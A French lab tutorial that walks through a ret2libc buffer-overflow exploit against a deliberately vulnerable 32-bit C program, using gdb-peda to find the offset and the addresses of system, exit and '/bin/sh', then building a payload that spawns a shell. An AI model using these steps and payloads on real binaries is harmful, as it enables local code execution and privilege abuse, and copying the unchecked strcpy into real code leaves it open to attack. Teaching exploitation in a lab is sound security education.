La lecture de Buffer Overflow basique est fortement conseillée avant de continuer. Pensez à installer gdb-peda. Désactivez l'ASLR (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space)
Le ret2libc est une méthode qui permet d'exploiter un binaire compilé avec une pile non exécutable. Pourquoi ? Car, au lieu de mettre un shellcode sur la pile et de l'exécuter, nous allons directement utiliser les fonctions de la libc.
#include <stdio.h> #include <string.h> void vuln(char* string){ char buffer[32]; strcpy(buffer, string); printf("Done :"); } int main(int argc, char** argv){ vuln(argv[1]); return 0; }
On compile tout ça :
ghozt@maze:~/doku/system/ret2libc$ gcc -o ret2libc ret2lib.c -m32 -fno-stack-protector
Le premier objectif est de trouver l'offset qui nous permettra d'écraser l'adresse de retour, pour cela nous allons utiliser les patterns de peda.
gdb-peda$ pattern_create 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' Starting program: /home/ghozt/doku/system/ret2libc/ret2libc 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' Program received signal SIGSEGV, Segmentation fault. ... EIP: 0x41414641 ('AFAA') ... gdb-peda$ pattern_offset AFAA AFAA found at offset: 44 # pattern_offset AFAA cherche à quel offset se trouve la chaîne "AFAA" dans le pattern généré (soit 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA')
Nous avons maintenant toutes les données pour réaliser un buffer overflow, vérifions tout de même notre offset.
gdb-peda$ r $(python -c 'print "A"*44+"\xef\xbe\xad\xde"') ... EIP: 0xdeadbeef ... Stopped reason: SIGSEGV 0xdeadbeef in ?? ()
En effectuant l'overflow, nous écrasons l'adresse de retour de la fonction dans laquelle nous nous trouvons. Donc lors de l'instruction RET (POP EIP, JUMP EIP) nous allons pouvoir détourner le flot d’exécution du programme.
PILE __________________ | EIP | ret; ==> POP EIP, JUMP EIP | adresse de retour| | arg1 | | arg2 | | ... |
D'après le schéma ci dessus, notre payload devrait ressembler à ceci : Junk pour atteindre EIP + adresse de system + adresse de retour + adresse “/bin/sh”
Pour faire propre, nous allons mettre exit en adresse de retour. Allons chercher ces infos :
gdb-peda$ p system (ou print system) $1 = {<text variable, no debug info>} 0xf7e443e0 <system> gdb-peda$ p exit $2 = {<text variable, no debug info>} 0xf7e371b0 <exit> gdb-peda$ searchmem /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f65551 ("/bin/sh")
Le payload final :
$(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"') ^ ^ ^ ^ | | | | JUNK system exit "/bin/sh" gdb-peda$ r $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"') Starting program: /home/ghozt/doku/system/ret2libc/ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"') [New process 26485] process 26485 is executing new program: /bin/dash ghozt@maze:~/doku/system/ret2libc$ ./ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"') $
Et voilà le travail :) une méthode simple et efficace pour bypass une pile non exécutable.